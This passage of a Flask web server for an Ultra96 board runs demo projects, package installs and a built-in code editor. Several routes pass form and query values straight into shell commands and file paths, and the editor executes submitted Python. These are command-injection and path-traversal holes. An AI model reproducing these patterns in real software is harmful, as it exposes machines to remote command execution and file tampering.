request.method == 'POST':\n p = subprocess.Popen(\"iw wlan0 info | grep ssid\", stdout=subprocess.PIPE, shell=True)\n ssid_output = p.communicate()[0]\n if ssid_output != \"\":\n os.system(\"dnf repoquery\")\n if \"96boards\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"96boards\"])\n if \"audio\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"audio\"])\n if \"benchmarks\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"benchmarks\"])\n if \"gstreamer\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"gstreamer\"])\n if \"mraa\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"mraa\"])\n if \"openamp\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"openamp\"])\n if \"opencv\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"opencv\"])\n if \"qt\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"qt\"])\n if \"x11\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"x11\"])\n if \"xfce\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"xfce\"])\n if \"startup\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"startup\"])\n if \"petalinux\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"petalinux\"])\n if \"self\" in request.form:\n os.system(\"dnf install -y \"+request.form[\"self\"])\n return render_template(\"Configurations/dnf_update.html\", updates_done=\"block\", no_wifi=\"none\")\n else:\n return render_template(\"Configurations/dnf_update.html\", updates_done=\"none\", no_wifi=\"block\")\n else:\n return render_template(\"Configurations/dnf_update.html\", updates_done=\"none\", no_wifi=\"none\")\n\n@app.route('/Ultra96_LEDs.html', methods=['GET', 'POST'])\ndef ultra96_leds():\n if request.method == 'POST':\n post_Ultra96_leds(request.form['led'], request.form['command'])\n return render_template(\"Projects/Ultra96_LEDs.html\")\n\n@app.route('/projects.html')\ndef projects():\n return render_template(\"Projects/projects.html\")\n\n@app.route('/hello_world.html', methods=['GET', 'POST'])\ndef hello_world():\n global timeout\n global timer_status\n global elapsed_time\n global runme_proc \n\n if request.method == 'POST':\n if request.form['timeout']:\n timeout = request.form['timeout']\n \n if request.form['submit'] == 'stop':\n os.killpg(os.getpgid(runme_proc.pid),signal.SIGTERM)\n timer_status=\"timer_disabled\"\n return render_template(\"Projects/hello_world.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status)\n \n timer_status = \"timer_enabled\"\n os.chdir(\"/usr/share/Sensor_Mezzanine_Getting_Started/rgb_lcd_demo/\")\n runme_proc = subprocess.Popen(\"sh run_me.sh\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, preexec_fn=os.setpgrp)\n multiprocessing.Process(target=thread_run, args=(runme_proc, timeout, cconn)).start()\n os.chdir(CUR_DIRECTORY)\n return render_template(\"Projects/hello_world.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status)\n \n while(pconn.poll()):\n val = pconn.recv()\n elapsed_time = val\n elapsed_time = int(elapsed_time)\n timeout = int(timeout)\n remaining_time = timeout - elapsed_time\n return render_template(\"Projects/hello_world.html\", timeout=timeout, remaining_time=remaining_time, timer_status=timer_status)\n\n@app.route('/touch_sensor.html', methods=['GET', 'POST'])\ndef touch_sensor():\n global timeout\n global timer_status\n global elapsed_time\n global runme_proc \n\n if request.method == 'POST':\n if request.form['timeout']:\n timeout = request.form['timeout']\n\n if request.form['submit'] == 'stop':\n os.killpg(os.getpgid(runme_proc.pid),signal.SIGTERM)\n timer_status=\"timer_disabled\"\n return render_template(\"Projects/touch_sensor.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status)\n\n timer_status = \"timer_enabled\"\n os.chdir(\"/usr/share/Sensor_Mezzanine_Getting_Started/touch_switch/\")\n runme_proc = subprocess.Popen(\"sh run_me.sh\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, preexec_fn=os.setpgrp)\n multiprocessing.Process(target=thread_run, args=(runme_proc, timeout, cconn)).start()\n os.chdir(CUR_DIRECTORY)\n return render_template(\"Projects/touch_sensor.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status)\n\n while(pconn.poll()):\n val = pconn.recv()\n elapsed_time = val\n elapsed_time = int(elapsed_time)\n timeout = int(timeout)\n remaining_time = timeout - elapsed_time\n return render_template(\"Projects/touch_sensor.html\", timeout=timeout, remaining_time=remaining_time, timer_status=timer_status)\n\n@app.route('/led_button.html', methods=['GET', 'POST'])\ndef led_button():\n if request.method == 'POST':\n os.chdir(\"/usr/share/Sensor_Mezzanine_Getting_Started/button_led/\")\n runme_proc = subprocess.Popen(\"sh run_me.sh\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n os.chdir(CUR_DIRECTORY)\n return render_template(\"Projects/led_button.html\")\n\n@app.route('/buzz_light_sensor.html', methods=['GET', 'POST'])\ndef buzz_light_sensor():\n if request.method == 'POST':\n os.chdir(\"/usr/share/Sensor_Mezzanine_Getting_Started/light_buzz/\")\n runme_proc = subprocess.Popen(\"sh run_me.sh\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n os.chdir(CUR_DIRECTORY)\n return render_template(\"Projects/buzz_light_sensor.html\")\n\n@app.route('/tweeting_doorbell.html', methods=['GET', 'POST'])\ndef tweeting_doorbell():\n global timeout\n global timer_status\n global elapsed_time\n global runme_proc\n \n if request.method == 'POST':\n if request.form['submit'] == 'stop':\n os.killpg(os.getpgid(runme_proc.pid),signal.SIGTERM)\n timer_status=\"timer_disabled\"\n return render_template(\"Projects/tweeting_doorbell.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status)\n\n if request.form['submit'] == 'key_val':\n usr_key = request.form[\"usr_key\"]\n usr_secret = request.form[\"usr_secret\"]\n usr_token = request.form[\"usr_token\"]\n usr_token_secret = request.form[\"usr_token_secret\"]\n f = open(\"/usr/share/Sensor_Mezzanine_Getting_Started/tweeting_doorbell/keys.py\", \"w\")\n f.write(\"consumer_key = \\\"\" +usr_key + \"\\\"\\n\")\n f.write(\"consumer_secret = \\\"\" +usr_secret + \"\\\"\\n\")\n f.write(\"access_token = \\\"\" +usr_token + \"\\\"\\n\")\n f.write(\"access_token_secret = \\\"\" +usr_token_secret + \"\\\"\\n\")\n f.close()\n return render_template(\"Projects/tweeting_doorbell.html\", usr_key=usr_key, usr_secret=usr_secret, usr_token=usr_token, usr_token_secret=usr_token_secret, timeout=timeout, remaining_time=timeout, timer_status=timer_status, twitter=\"\", missing_keys=\"none\")\n timeout = request.form['timeout']\n timer_status = \"timer_enabled\"\n os.chdir(\"/usr/share/Sensor_Mezzanine_Getting_Started/tweeting_doorbell/\")\n \n if os.path.exists(\"/usr/share/Sensor_Mezzanine_Getting_Started/tweeting_doorbell/keys.py\"):\n runme_proc = subprocess.Popen(\"sh run_me.sh \"+request.form[\"twitter\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, preexec_fn=os.setpgrp)\n output = \"\"\n while \"flash:w:build-uno/tweeting_doorbell.hex\" not in output :\n output = runme_proc.stdout.readline().decode('utf-8')\n timer_status = \"timer_enabled\"\n multiprocessing.Process(target=thread_run, args=(runme_proc, timeout, cconn)).start()\n os.chdir(CUR_DIRECTORY)\n return render_template(\"Projects/tweeting_doorbell.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status, twitter=request.form[\"twitter\"], missing_keys=\"none\")\n else:\n return render_template(\"Projects/tweeting_doorbell.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status, twitter=request.form[\"twitter\"], missing_keys=\"block\")\n while(pconn.poll()):\n val = pconn.recv()\n elapsed_time = val\n elapsed_time = int(elapsed_time)\n timeout = int(timeout)\n remaining_time = timeout - elapsed_time\n return render_template(\"Projects/tweeting_doorbell.html\", timeout=timeout, remaining_time=remaining_time, timer_status=timer_status, twitter=\"notweet\", missing_keys=\"none\")\n\n@app.route('/temp_display.html', methods=['GET', 'POST'])\ndef temp_display():\n global timeout\n global timer_status\n global elapsed_time\n global runme_proc\n\n if request.method == 'POST':\n if request.form['timeout']:\n timeout = request.form['timeout']\n\n if request.form['submit'] == 'stop':\n os.killpg(os.getpgid(runme_proc.pid),signal.SIGTERM)\n timer_status=\"timer_disabled\"\n return render_template(\"Projects/temp_display.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status)\n\n os.chdir(\"/usr/share/Sensor_Mezzanine_Getting_Started/humid_temp/\")\n runme_proc = subprocess.Popen(\"sh run_me.sh\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, preexec_fn=os.setpgrp)\n output = \"\"\n while \"flash:w:build-uno/humid_temp.hex\" not in output:\n output = runme_proc.stdout.readline().decode('utf-8')\n timer_status = \"timer_enabled\"\n multiprocessing.Process(target=thread_run, args=(runme_proc, timeout, cconn)).start()\n os.chdir(CUR_DIRECTORY)\n return render_template(\"Projects/temp_display.html\", timeout=timeout, remaining_time=timeout, timer_status=timer_status)\n \n while(pconn.poll()):\n val = pconn.recv()\n elapsed_time = val\n elapsed_time = int(elapsed_time)\n timeout = int(timeout)\n remaining_time = timeout - elapsed_time\n return render_template(\"Projects/temp_display.html\", timeout=timeout, remaining_time=remaining_time, timer_status=timer_status)\n\n@app.route('/viewer.html', methods=['GET', 'POST'])\ndef viewer():\n global timeout\n global timer_status\n global elapsed_time\n if request.method == 'POST':\n if \"revert\" in request.form:\n code = \"ERROR: Could not find file\"\n if os.path.exists(\"/usr/share/Sensor_Mezzanine_Getting_Started\"+request.args.get('filename')+\".bak\"):\n if os.path.exists(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+request.args.get('filename')):\n with open(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+request.args.get('filename')+\".bak\", \"r\") as f:\n code = f.read()\n f.close()\n f = open(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+request.args.get('filename'), \"w\")\n f.write(code)\n f.close()\n return render_template(\"Projects/viewer.html\", code=code, filename=os.path.basename(request.args.get('filename')), log=\"No log data. Run code to get log data\")\n code = request.form['code']\n if request.form['request'] == 'save':\n f = open(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+request.args.get('filename'), \"w\")\n f.write(request.form['code'])\n f.close()\n return render_template(\"Projects/viewer.html\", code=code, filename=os.path.basename(request.args.get('filename')), log=\"No log data. Run code to get log data\")\n else:\n f = open(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+request.args.get('filename'), \"w\")\n f.write(request.form['code'])\n f.close()\n os.chdir(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+os.path.dirname(request.args.get('filename')))\n timer_status = \"timer_enabled\"\n runme_proc = subprocess.Popen(\"sh run_me.sh\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, preexec_fn=os.setpgrp)\n multiprocessing.Process(target=thread_run, args=(runme_proc, timeout, cconn)).start()\n os.chdir(CUR_DIRECTORY)\n output, err = runme_proc.communicate()\n return render_template(\"Projects/viewer.html\", code=code, filename=os.path.basename(request.args.get('filename')), log=output.decode('utf-8')+\"\\n\"+err.decode('utf-8'))\n else:\n code = \"ERROR: Could not find file\"\n if os.path.exists(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+request.args.get('filename')):\n with open(\"/usr/share/Sensor_Mezzanine_Getting_Started/\"+request.args.get('filename'), \"r\") as f:\n code = f.read()\n f.close()\n while(pconn.poll()):\n val = pconn.recv()\n elapsed_time = val\n remaining_time = int(timeout) - int(elapsed_time)\n return render_template(\"Projects/viewer.html\", code=code, filename=os.path.basename(request.args.get('filename')), timeout=timeout, remaining_time=remaining_time, timer_status=timer_status, log=\"No log data. Run code to get log data\")\n\n@app.route('/matrix_mult.html', methods=['GET', 'POST'])\ndef matrix_mult():\n if request.method == 'POST':\n os.system(\"echo image_matrix_multiply > /sys/class/remoteproc/remoteproc0/firmware\")\n os.system(\"echo start > /sys/class/remoteproc/remoteproc0/state\")\n os.system(\"modprobe rpmsg_user_dev_driver\")\n p = subprocess.Popen(\"mat_mul_demo\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)\n output, err = p.communicate(input=\"1\\n2\")\n cur_line = 1\n parsed_output = \"\"\n for line in output.splitlines():\n cur_line = cur_line + 1\n if cur_line > 17 and cur_line < 48:\n parsed_output = parsed_output + line + \"\\n\"\n os.system(\"modprobe -r rpmsg_user_dev_driver\")\n os.system(\"echo stop > /sys/class/remoteproc/remoteproc0/state\")\n return render_template(\"Projects/matrix_mult.html\", output=parsed_output)\n else:\n return render_template(\"Projects/matrix_mult.html\", output=\"\")\n\n@app.route('/proxy_app.html', methods=['GET', 'POST'])\ndef proxy_app():\n if request.method == 'POST':\n username = request.form['username']\n age = request.form['age']\n pi = request.form['pi']\n p = subprocess.Popen(\"proxy_app\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)\n output, err = p.communicate(input= username + \"\\n\" + age + \"\\n\" + pi + \"\\nno\\n\")\n cur_line = 1\n parsed_output = \"\"\n testname = output.splitlines()\n for line in output.splitlines():\n cur_line = cur_line + 1\n if cur_line > 35 and cur_line < 42:\n parsed_output = parsed_output + line + \"\\n\"\n return render_template(\"Projects/proxy_app.html\", output=parsed_output)\n else:\n return render_template(\"Projects/proxy_app.html\", output=\"\")\n\n@app.route('/tutorials.html')\ndef tutorials(): \n return render_template(\"Tutorials/tutorials.html\")\n\n@app.route('/dnf.html')\ndef dnf():\n return render_template(\"Tutorials/dnf.html\")\n\n@app.route('/grove_starter_kit.html')\ndef grove_starter_kit():\n return render_template(\"Tutorials/grove_starter_kit.html\")\n\n@app.route('/custom_content_tutorial.html')\ndef guide_custom_projects():\n return render_template(\"Tutorials/custom_content_tutorial.html\")\n\n@app.route('/run_project_tutorial.html')\ndef run_project_tutorial():\n return render_template(\"Tutorials/run_project_tutorial.html\") \n\n@app.route('/using_ultra96.html')\ndef using_ultra96():\n return render_template(\"Tutorials/using_ultra96.html\")\n\n@app.route('/customcontent.html', methods=['GET', 'POST'])\ndef customcontent():\n from werkzeug.utils import secure_filename\n uploaded_files = [os.path.basename(f) for f in glob.glob(CUR_DIRECTORY+\"/templates/CustomContent/uploaded_files/*\")]\n custom_files = [os.path.basename(f) for f in glob.glob(CUR_DIRECTORY+\"/templates/CustomContent/custom/*\")]\n included_files = []\n included_read = \"\"\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/files_included.conf\"):\n with open(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/files_included.conf\", \"r\") as f:\n included_read = f.read()\n f.close()\n included_check = included_read.split(\" \")\n for filename in included_check:\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/\"+filename+\".html\"):\n included_files.append(filename)\n\n if request.method == 'POST':\n if 'file' not in request.files:\n return render_template(\"CustomContent/customcontent.html\", docs=uploaded_files, file_bad=\"block\", file_good=\"none\", proj=custom_files, webapp_include=included_files)\n upload = request.files['file']\n if upload.filename == '':\n return render_template(\"CustomContent/customcontent.html\", docs=uploaded_files, file_bad=\"block\", file_good=\"none\", proj=custom_files, webapp_include=included_files)\n if upload:\n filename = secure_filename(upload.filename)\n upload.save(os.path.join(CUR_DIRECTORY+'/templates/CustomContent/uploaded_files/', filename)) \n if filename not in uploaded_files:\n uploaded_files.append(filename)\n return render_template(\"CustomContent/customcontent.html\", docs=uploaded_files, file_bad=\"none\", file_good=\"block\", proj=custom_files, webapp_include=included_files)\n else:\n return render_template(\"CustomContent/customcontent.html\", docs=uploaded_files, file_bad=\"block\", file_good=\"none\", proj=custom_files, webapp_include=included_files)\n else:\n if request.args.get('delete_uploaded') is not None:\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/uploaded_files/\"+request.args.get('delete_uploaded')):\n os.remove(CUR_DIRECTORY+\"/templates/CustomContent/uploaded_files/\"+request.args.get('delete_uploaded'))\n if request.args.get('delete_uploaded') in uploaded_files:\n uploaded_files.remove(request.args.get('delete_uploaded'))\n elif request.args.get('delete_proj') is not None:\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+request.args.get('delete_proj')):\n os.remove(CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+request.args.get('delete_proj'))\n if request.args.get('delete_proj') in custom_files:\n custom_files.remove(request.args.get('delete_proj'))\n return render_template(\"CustomContent/customcontent.html\", docs=uploaded_files, file_bad=\"none\", file_good=\"none\", proj=custom_files, webapp_include=included_files)\n\n\n@app.route('/custom_front_end.html', methods=['GET', 'POST'])\ndef custom_front_end():\n if request.method == 'POST':\n code = request.form['code']\n if request.form['request'] == 'save':\n filename = request.form['filename_form']+\".html\"\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/\"+filename, \"w\")\n f.write(request.form['code'])\n f.close()\n return render_template(\"CustomContent/custom_front_end.html\", fileexists=\"none\", filecreated=\"block\", code=code, filename=filename)\n else:\n code = ('<!--\\n'\n '- The following will briefly explain how to edit code on this page.\\n'\n '- For a more in depth explanation go to the tutorial page and select \"Custom Front End\".\\n'\n '- This is an HTML file and the navbar and footer will already be included along with some other fancy things.\\n'\n '- Add code in the sections where it mentions to add code below.\\n'\n '- Change \"CHANGE ME\" to your own desired name to show up for this webpage.\\n'\n '- Good luck!\\n'\n '-->\\n'\n '\\n'\n '{% extends \"Default/default.html\" %}\\n'\n '{% block content %}\\n'\n '\\n'\n '<div class=\"page-header\">\\n'\n ' <h1 class=\"display-4\"><b>{% block title %}CHANGE ME{% endblock %}</b></h1>\\n'\n '</div>\\n'\n '\\n'\n '<!-- Start adding your code below here -->\\n'\n '\\n'\n '\\n'\n '\\n'\n '\\n'\n '\\n'\n '<!-- Stop adding your code here -->\\n'\n '\\n'\n '{% endblock %}\\n')\n\n if request.args.get('filename') is not None:\n with open(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/\"+request.args.get('filename'), \"r\") as f:\n code = f.read()\n f.close()\n return render_template(\"CustomContent/custom_front_end.html\", fileexists=\"none\", filecreated=\"none\", code=code, filename=request.args.get('filename'))\n return render_template(\"CustomContent/custom_front_end.html\", fileexists=\"none\", filecreated=\"none\", code=code, filename=\"Unsaved File\")\n\n@app.route('/custom_back_end.html', methods=['GET', 'POST'])\ndef custom_back_end():\n if request.method == 'POST':\n code = request.form['code']\n if request.form['request'] == 'save':\n filename = request.form['filename_form']+\".py\"\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/custom_back_end/\"+filename, \"w\")\n f.write(request.form['code'])\n f.close()\n return render_template(\"CustomContent/custom_back_end.html\", fileexists=\"none\", filecreated=\"block\", code=code, filename=filename)\n else:\n code = ('#The following will briefly explain how to edit code on this page\\n'\n '#For more information go to the Tutorial page and select the \"Custom Back End\" tutorial\\n'\n '#Make sure to change \"CHANGE ME\" to be the name that was given to the file on the first 2 lines of this python code\\n'\n '#Good luck and have fun!\\n'\n '\\n'\n '@app.route(\"/CHANGE_ME.html\", methods=[\"GET\", \"POST\"])\\n'\n 'def CHANGE_ME():\\n'\n ' if request.method == \"POST\":\\n'\n ' return render_template(\"CustomContent/custom_front_end/CHANGE_ME.html\")\\n'\n ' else:\\n'\n ' return render_template(\"CustomContent/custom_front_end/CHANGE_ME.html\")\\n')\n if request.args.get('filename') is not None:\n with open(CUR_DIRECTORY+\"/templates/CustomContent/custom_back_end/\"+request.args.get('filename'), \"r\") as f:\n code = f.read()\n f.close()\n return render_template(\"CustomContent/custom_back_end.html\", fileexists=\"none\", filecreated=\"none\", code=code, filename=request.args.get('filename'))\n return render_template(\"CustomContent/custom_back_end.html\", fileexists=\"none\", filecreated=\"none\", code=code, filename=\"Unsaved File\")\n\n@app.route('/editor.html', methods=['GET', 'POST'])\ndef editor():\n output = \"\"\n if request.method == 'POST':\n code = request.form['code']\n if request.form['request'] == 'save':\n filename = request.form['filename_form']\n if request.args.get('filename') is not None:\n if request.args.get('filename') == filename:\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+filename, \"w\")\n f.write(request.form['code'])\n f.close()\n return render_template(\"CustomContent/editor.html\", fileexists=\"none\", filecreated=\"block\", output=output, code=code, filename=filename)\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+filename):\n return render_template(\"CustomContent/editor.html\", fileexists=\"block\", filecreated=\"none\", output=output, code=code, filename=filename)\n else:\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+filename, \"w\")\n f.write(request.form['code'])\n f.close()\n return render_template(\"CustomContent/editor.html\", fileexists=\"none\", filecreated=\"block\", output=output, code=code, filename=filename)\n else:\n if request.args.get('filename') is not None:\n if request.args.get('filename').lower().endswith(('.py')):\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/temp/temp.py\", \"w\")\n f.write(request.form['code'])\n f.close()\n p = subprocess.Popen(\"python \"+CUR_DIRECTORY+\"/templates/CustomContent/temp/temp.py\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n output,err = p.communicate()\n if p.returncode != 0:\n output = (\"ERROR:\\n%s\" % err)\n os.remove(CUR_DIRECTORY+\"/templates/CustomContent/temp/temp.py\")\n else:\n output = \"ERROR:\\nCan only run Python files (ending in .py)\"\n return render_template(\"CustomContent/editor.html\", fileexists=\"none\", filecreated=\"none\", output=output, code=code, filename=request.args.get('filename'))\n else:\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/temp/temp.py\", \"w\")\n f.write(request.form['code'])\n f.close()\n p = subprocess.Popen(\"python \"+CUR_DIRECTORY+\"/templates/CustomContent/temp/temp.py\", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n output,err = p.communicate()\n if p.returncode != 0:\n output = (\"ERROR:\\n%s\" % err)\n os.remove(CUR_DIRECTORY+\"/templates/CustomContent/temp/temp.py\")\n return render_template(\"CustomContent/editor.html\", fileexists=\"none\", filecreated=\"none\", output=output, code=code, filename=\"Unsaved File\")\n else:\n code = '#Sample Python Code\\r\\nprint \"Hello World!\"\\r\\n'\n if request.args.get('filename') is not None:\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+request.args.get('filename')):\n with open(CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+request.args.get('filename'), \"r\") as f:\n code = f.read()\n f.close()\n if request.args.get('python') is not None:\n p = subprocess.Popen(\"python \"+CUR_DIRECTORY+\"/templates/CustomContent/custom/\"+request.args.get(\"filename\"), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if p.returncode != 0:\n output = (\"ERROR:\\n%s\" % err)\n elif os.path.exists(CUR_DIRECTORY+\"/static/custom/\"+request.args.get('filename')):\n with open(CUR_DIRECTORY+\"/static/custom/\"+request.args.get('filename'), \"r\") as f:\n code = f.read()\n f.close()\n return render_template(\"CustomContent/editor.html\", fileexists=\"none\", filecreated=\"none\", output=output, code=code, filename=request.args.get('filename'))\n return render_template(\"CustomContent/editor.html\", fileexists=\"none\", filecreated=\"none\", output=output, code=code, filename=\"Unsaved File\")\n\n@app.route('/uploaded_editor.html', methods=['GET', 'POST'])\ndef uploaded_editor():\n if request.method == 'POST':\n code = request.form['code']\n filename = request.form['filename_form']\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/uploaded_files/\"+filename):\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/uploaded_files/\"+filename, \"w\")\n f.write(code)\n f.close()\n return render_template(\"CustomContent/uploaded_editor.html\", filesaved=\"block\", filemissing=\"none\", code=code, filename=filename)\n else:\n return render_template(\"CustomContent/uploaded_editor.html\", filesaved=\"none\", filemissing=\"block\", code=code, filename=filename)\n else:\n code = \"Could not read file\"\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/uploaded_files/\"+request.args.get('filename')):\n with open(CUR_DIRECTORY+\"/templates/CustomContent/uploaded_files/\"+request.args.get('filename'), \"r\",encoding=\"utf-8\") as f:\n code = f.read()\n f.close()\n return render_template(\"CustomContent/uploaded_editor.html\", filesaved=\"none\", filemissing=\"none\", filename=request.args.get('filename'), code=code)\n\n@app.route('/reload_webapp.html', methods=['GET', 'POST'])\ndef reload_webapp():\n code = \"\"\n webapp_reload = \"none\"\n if request.method == 'POST':\n includes = \"\"\n if request.form[\"reload_button\"] != \"\":\n includes = request.form[\"reload_button\"].split(\" \")\n f = open(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/files_included.conf\", \"w\")\n f.write(request.form[\"reload_button\"])\n f.close()\n for file_include in includes:\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/\"+file_include+\".html\"):\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom_back_end/\"+file_include+\".py\"):\n with open(CUR_DIRECTORY+\"/templates/CustomContent/custom_back_end/\"+file_include+\".py\", \"rU\") as f:\n code = code + f.read()\n f.close()\n os.system(\"cp \"+CUR_DIRECTORY+\"/webserver.py.bak \"+CUR_DIRECTORY+\"/webserver.py\")\n with open(CUR_DIRECTORY+\"/webserver.py\", \"a\") as f:\n f.write(\"\\n#CUSTOM USER BACK END CODE ADDED AFTER HERE\\n\\n\")\n f.write(code)\n f.write(\"\\n#CUSTOM USER BACK END CODE STOPS HERE\\n\\n\")\n f.write(\"if __name__ == '__main__':\\n\")\n f.write(\" app.run(host='0.0.0.0', port=80, threaded=True)\\n\")\n f.close()\n p = subprocess.Popen(\"sleep 5; reboot\", shell=True) \n webapp_reload = \"block\"\n else:\n if request.args.get('delete') is not None:\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/\"+request.args.get(\"delete\")+\".html\"):\n os.system(\"rm \"+CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/\"+request.args.get(\"delete\")+\".html\");\n if os.path.exists(CUR_DIRECTORY+\"/templates/CustomContent/custom_back_end/\"+request.args.get(\"delete\")+\".py\"):\n os.system(\"rm \"+CUR_DIRECTORY+\"/templates/CustomContent/custom_back_end/\"+request.args.get(\"delete\")+\".py\");\n \n frontend = []\n backend = []\n filelist = []\n for filename in os.listdir(CUR_DIRECTORY+\"/templates/CustomContent/custom_front_end/\"):\n if filename.endswith(\".html\"):\n frontend.append(filename)\n for filename in os.listdir(CUR_DIRECTORY+\"/templates/CustomContent/custom_back_end/\"):\n if filename.endswith(\".py\"):\n backend.append(filename)\n\n frontend = sorted(frontend)\n backend = sorted(backend)\n\n found_back = False\n for front_file in frontend:\n for back_file in backend:\n if front_file.split(\".\", 1)[0] == back_file.split(\".\", 1)[0]:\n filelist.append(front_file)\n filelist.append(back_file)\n found_back = True\n break\n if found_back:\n found_back = False\n else:\n filelist.append(front_file)\n filelist.append(\"N/A\")\n\n for back_file in backend:\n if back_file in filelist:\n pass\n else:\n filelist.append(\"N/A\")\n filelist.append(back_file)\n\n return render_template(\"CustomContent/reload_webapp.html\", filelist=filelist, webapp_reload=webapp_reload)\n\n\ndef post_Ultra96_leds(led_selection, led_command):\n led = \"\"\n if led_selection == \"0\":\n led = \"ds2\"\n elif led_selection == \"1\":\n led = \"ds3\"\n elif led_selection == \"2\":\n led = \"ds5\"\n elif led_selection == \"3\":\n led = \"ds4\"\n else:\n return (\"none\", \"block\")\n if led_command == \"On\":\n p = subprocess.call(\"echo none > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n if p != 0:\n return (\"none\", \"block\")\n p = subprocess.call(\"echo 255 > /sys/class/leds/\"+led+\"/brightness\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Off\":\n p = subprocess.call(\"echo none > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n if p != 0:\n return (\"none\", \"block\")\n p = subprocess.call(\"echo 0 > /sys/class/leds/\"+led+\"/brightness\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux Heartbeat\":\n p = subprocess.call(\"echo heartbeat > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux backlight\":\n p = subprocess.call(\"echo backlight > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux gpio\":\n p = subprocess.call(\"echo gpio > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux cpu0\":\n p = subprocess.call(\"echo cpu0 > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux cpu1\":\n p = subprocess.call(\"echo cpu1 > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux cpu2\":\n p = subprocess.call(\"echo cpu2 > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux cpu3\":\n p = subprocess.call(\"echo cpu3 > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux default-on\":\n p = subprocess.call(\"echo default-on > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux transient\":\n p = subprocess.call(\"echo transient > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux flash\":\n p = subprocess.call(\"echo flash > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux torch\":\n p = subprocess.call(\"echo torch > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux mmc1\":\n p = subprocess.call(\"echo mmc1 > /sys/class/leds/\"+led+\"/trigger\", stdout=subprocess.PIPE, shell=True)\n elif led_command == \"Linux rfkill0\":\n p = subprocess.call(\"echo rfkill0 > 